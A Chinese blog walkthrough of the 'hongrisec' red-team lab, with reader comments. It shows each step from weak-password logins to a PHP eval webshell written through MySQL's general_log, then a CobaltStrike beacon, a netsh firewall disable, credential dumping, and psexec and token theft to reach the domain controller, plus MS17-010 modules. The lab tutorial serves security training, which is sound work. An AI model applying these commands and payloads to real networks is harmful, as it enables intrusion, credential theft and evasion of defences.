0x01 介绍
ATT&CK介绍
ATT&CK
是
靶机介绍及配置
官方靶机说明:
红队实战系列,主要以真实企业环境为实例搭建一系列靶场,通过练习、视频教程、博客三位一体学习。另外本次实战完全模拟ATT&CK攻击链路进行搭建,开成完整闭环。后续也会搭建真实APT实战环境,从实战中成长。虚拟机所有统一密码:hongrisec@2019
配置网络,网络拓扑图如下:
vmware
网络配置如下:
我画了个网络示意图:
实际配置截图:
服务器桌面如下:
先要启动phpstudy
:
域控主机和win2003
登录时要求更改密码,我更改密码把年份2019改为了2020
0x02 渗透服务器
信息收集
发现主机:netdiscover -i eth0 -r 192.168.52.0/24
:
扫描端口:
nmap -sS -A -n -T4 -p- 192.168.52.143
只开启了80
和3389
端口,访问80
端口:
是phpstudy
探针,在这里可以获取到网站的绝对路径C:/phpStudy/www/
拉到最下面MYSQL
数据库连接检测:
输入弱密码root/root
成功且可以外连:
扫描目录,御剑只扫出了phpmyadmin
使用dirmap
扫描:
得到备份文件beifen.rar
,下载解压得到yxcms
文件夹:
看起来似乎是网站的源码,查看网页源码得到后台的账户名和密码:
得到后台登陆的账号密码:admin
:123456
和登录路径/index.php?r=admin
获取shell
登录phpmyadmin
写shell
(sql
写shell
的文章我之前写过)
先查看是否有写权限:show variables like '%secure_file%';
secure_file_priv
值为NULL
,不能使用into outfile
方式写入shell
那我们来尝试日志写shell
,开启日志记录:set global general_log = "ON";
查看当前的日志目录:show variables like 'general%';:
指定日志文件:set global general_log_file = "C:/phpStudy/www/1.php";:
将一句话木马写入指定的文件中
SELECT '<?php eval($_POST["cmd"]);?>'
然后蚁剑连接:
另外一种方式获取shell
先访问一下192.168.52.143/yxcms
,界面如下;
访问之前解压的文件夹路径发现基本都有目录遍历漏洞:
测试弱密码admin/123456
登录后台:/index.php?r=admin
在前台模板文件中添加一句话木马连接也可获取shell
:
0x03 内网及域渗透
webshell
反弹shell
给cs
,cs
创建Listener
,payload
选择beacon http
然后攻击 -> 生成后门 -> Windows Executable(S)
,选择刚创建的Listener
:
利用蚁剑上传之前需要先执行下关掉防火墙的命令,不然在服务器端管理员可能会看到这样的提示就尴尬了:
蚁剑终端执行
netsh advfirewall set allprofiles state off
上传后直接输入exe
的文件名回车即可获得cs
的shell
:
cs
的使用之前我也写过文章:《CobaltStrike 基本功能与使用》
目标主机信息收集
拿到shell
第一步,调低心跳值,默认心跳为60s
,执行命令的响应很慢
我这是自己的内网且没有杀软我就设置为0了,真实环境不要设置这么低
进入beacon
执行sleep 0
,然后查看下基本的本机信息:
whoami
、hostname
、net user
、net localgroup administrators
众所周知systeminfo
可以查看系统详细信息,我就不展示,提供两个小tips
:
查看是什么操作系统&系统版本:
系统中文:systeminfo | findstr /B /C:"OS 名称" /C:"OS 版本"
系统英文:systeminfo | findstr /B /C:"OS Name" /C:"OS Version"
查询系统体系架构:echo %PROCESSOR_ARCHITECTURE%
查询已安装的软件及版本信息:wmic product get name,version
在win10
中,输入wmic /?
会提示wmic
已弃用,但在server2012R2
,win7
等版本中可以正常使用
powershell
中可替代该命令的是Get-WmiObject
:
Get-WmiObject -class win32_product | Select-Object -property name,version
查询进程及服务:tasklist
,默认显示映像名称,PID,会话名,会话,内存使用
tasklist /svc
,默认显示映像名称,PID,服务
wmic process list brief
常见的杀软进程:
进程名 | 软件 |
---|---|
360sd.exe | 360杀毒 |
360tray.exe | 360实时保护 |
ZhuDongFangYu.exe | 360主动防御 |
KSafeTray.exe | 金山卫士 |
SafeDogUpdateCenter.exe | 安全狗 |
McAfee | McShield.exe |
egui.exe | NOD32 |
AVP.exe | 卡巴斯基 |
avguard.exe | 小红伞 |
bdagent.exe | BitDefender |
命令还有很多,单纯记下来也没有意义,还是要用到的时候立马找才印象深刻
本文重点是域渗透,就不做过多介绍了
域信息收集
什么是域
参考文章:内网渗透学习导航
域是计算机网络的一种形式,其中所有用户帐户 ,计算机,打印机和其他安全主体都在位于称为域控制器的一个或多个中央计算机集群上的中央数据库中注册。 身份验证在域控制器上进行。 在域中使用计算机的每个人都会收到一个唯一的用户帐户,然后可以为该帐户分配对该域内资源的访问权限。 从Windows Server 2003开始 , Active Directory是负责维护该中央数据库的Windows组件。Windows域的概念与工作组的概念形成对比,在该工作组中,每台计算机都维护自己的安全主体数据库。
判断是否存在域
使用ipconfig /all
查看DNS
服务器:
发现DNS服务器名为god.org
,查看域信息:net view
查看主域信息:net view /domain
查看时间服务器:net time /domain
发现能够执行,说明此台机器在域中(若是此命令在显示域处显示WORKGROUP,则不存在域,若是报错:发生系统错误5,则存在域,但该用户不是域用户)
查询当前的登录域与用户信息:net config workstation
可以很清楚地看出有无域,一般只要不是WORKGROUP
就是有域(我瞎猜的)
查找域控
利用nslookup
命令直接解析域名服务器:
得到域控的ip
为192.168.72.130
查询域控和用户信息
查看当前域的所有用户:net user /domain
获取域内用户的详细信息:wmic useraccount get /all
可以获取到用户名,描述信息,SID域名等:
查看所有域成员计算机列表:net group "domain computers" /domain
查看域管理员:net group "domain admins" /domain
查看域控制器:net group "domain controllers" /domain
查看企业管理组:net group "enterprise admins" /domain
查看域控,升级为域控时,本地账户也成为域管:
net localgroup administrators /domain
获取域密码信息:net accounts /domain
获取域信任信息(cs里执行提示不是内部或外部命令):nltest /domain_trusts
横向探测
获取到一个cs
的beacon
后可以目标内网情况和端口开放情况
在beacon
上右键 -> 目标 -> 选择net view
或者port scan
:
选择前者执行:
执行后可以在Targets
选项卡看到扫描出来的主机:
用cs
的hashdump
读内存密码:hashdump
,用mimikatz
读注册表密码:logonpasswords
在凭证信息一栏可以清楚查看:
如果权限不够可以提权,提权插件:ElevateKit
额外增加ms14-058
、ms15-051
、ms16-016
、uac-schtasks
四种提权方式
抓取密码后可以先探测内网其他主机:
ping
方法:
for /L %I in (1,1,254) DO @ping -w 1 -n 1 192.168.72.%I | findstr "TTL="
最简单的直接arp -a
查看也可以,这里还推荐一个好用工具Ladon
Ladon
作者是k8gege
,它是一个大型内网渗透扫描器并且支持cs
脚本形式
cs
要使用的话只需要下载其中的Ladon.exe
和Ladon.cna
即可运行基本功能
查看帮助:
扫描网段内存活主机信息:Ladon 192.168.72.0/24 OsScan
Ladon
还有很多使用功能,比如扫描MS17-010
:Ladon 192.168.72.0/24 MS17010
其他的功能可以自己去尝试
域探测差不多了还可以使用BloodHound
这款域渗透分析工具来分析攻击路径
BloodHound介绍:
BloodHound是一种单页的JavaScript的Web应用程序,构建在Linkurious上,用Electron编译,NEO4J数据库PowerShell/C# ingestor.BloodHound使用可视化图来显示Active Directory环境中隐藏的和相关联的主机内容。攻击者可以使用BloodHound轻松识别高度复杂的攻击路径,否则很难快速识别。防御者可以使用BloodHound来识别和防御那些相同的攻击路径。蓝队和红队都可以使用BloodHound轻松深入了解Active Directory环境中的权限关系。
横向移动
这里有很多种方式,可以:
- cs上开通socks通道,在攻击机上用proxychains将攻击机的msf代入内网,但是cs的socks代理不稳定
- ew添加转接隧道,在攻击机上用proxychains将攻击机的msf代入内网
- cs派生到msf,msf使用socks4a代理进内网,但是并不稳定
- cs派生到msf,msf使用使用autoroute添加路由进内网
- 用frp创建socks5代理
我后面会专门写一篇文章来写各种带入方式,本篇篇幅过长,就不全部使用了
SMB Beacon
另外这里还要介绍下cs
派生SMB Beacon
SMB Beacon使用命名管道通过父级Beacon进行通讯,当两个Beacons链接后,子Beacon从父Beacon获取到任务并发送。因为链接的Beacons使用Windows命名管道进行通信,此流量封装在SMB协议中,所以SMB Beacon相对隐蔽,绕防火墙时可能发挥奇效
简单来说,SMB Beacon有两种方式
第一种直接派生一个孩子,目的为了进一步盗取内网主机的hash
新建一个Listener
,payload
设置为Beacon SMB
:
我用的是4.0
版本,之前的3.14
版本和这个可能会有微小差异
在已有的Beacon上
右键Spawn
(生成会话/派生),选择创建的smb beacon
的listerner
:
选择后会反弹一个子会话,在external
的ip
后面会有一个链接的小图标:
在图标视图中:
这就是派生的SMB Beacon
,当前没有连接
可以在主Beacon
上用link host
连接它,或者unlink host断开它
第二种在已有的beacon上创建监听,用来作为跳板进行内网穿透
前提是能够通过shell之类访问到内网其他主机
psexec使用凭证登录其他主机
前面横向探测已经获取到内网内的其他Targets
以及读取到的凭证信息
于是可以尝试使用psexec
模块登录其他主机
右键选择一台非域控主机ROOT-TVI862UBEH
的psexec
模块:
在弹出的窗口中选择使用god.org
的Administrator
的凭证信息
监听器选择刚才创建的smb beacon
,会话也选择对应的smb beacon
的会话:
执行后效果如下:
可以看到分别执行了
rev2self
make_token GOD.ORG\Administrator hongrisec@2020
jump psexec ROOT-TVI862UBEH smb
这几条命令,执行后得到了ROOT-TVI862UBEH
这台主机的beacon
如法炮制得到了域控主机OWA
的beacon
:
最终的图标视图如图所示:
token窃取
除了直接使用获取到的hash
值,也可以直接窃取GOD\Administrator
的token
来登录其他主机
选择beacon
右键 -> 目标 -> 进程列表
选择GOD\Administrator
的token
盗取:
然后在选择令牌处勾选使用当前token
即可:
效果和前面是一样的
cs派生msf横向移动
前面psexec
能迅速地获得域控主机的beacon
是因为我们读取到了域管理员账号密码的hash
但是一般情况下,我们是获取不到的,所以多种方法都需要学会使用
cs
和msf
联动的话,可以使用cs
开启socks
,然后msf
将代理设置为此代理进行扫描
也可以直接用cs
派生一个msf
的meterpreter
会话,此处使用后者
cs
与msf
联动在cs
的使用这篇文章中已经介绍过,此处不再赘述
msf
获得meterpreter
会话后,首先查看当前路由:run get_local_subnets
然后添加对应网段:run autoroute -s 192.168.72.0/24
添加路由段
然后去使用ms17-010
的模块,例如:
auxiliary/admin/smb/ms17010command
exploit/windows/smb/ms17010psexec
等去攻击域内其他主机即可。
中间因为毕业设计和找工作等原因间隔了50天,至此本文完结。
参考文章:
7 条评论
哈哈,网站首页就有admin;123456登录后台了,我看到那一步网站备份属实学到了,感谢博主
[...]https://soapffz.com/sec/558.html[...]
[...]https://soapffz.com/sec/558.html[...]
http://image.v0w.top/Blog/20200719215947.png
但是我在使用CS上加载Ladon时,除了Ladon help,其他命令均不执行。CS4.0 Ladon 7.0
teamserver 在kali上,client在本机的win10 Ladon 放在win10上
师傅您遇到这样的问题吗?是我的文件放的有问题吗?
文件放少了吧,你是只放了一个exe嘛?建议全部git clone,然后一个一个删,看哪些是必须的
感谢师傅的仔细讲解,真的很细,收获很多0rz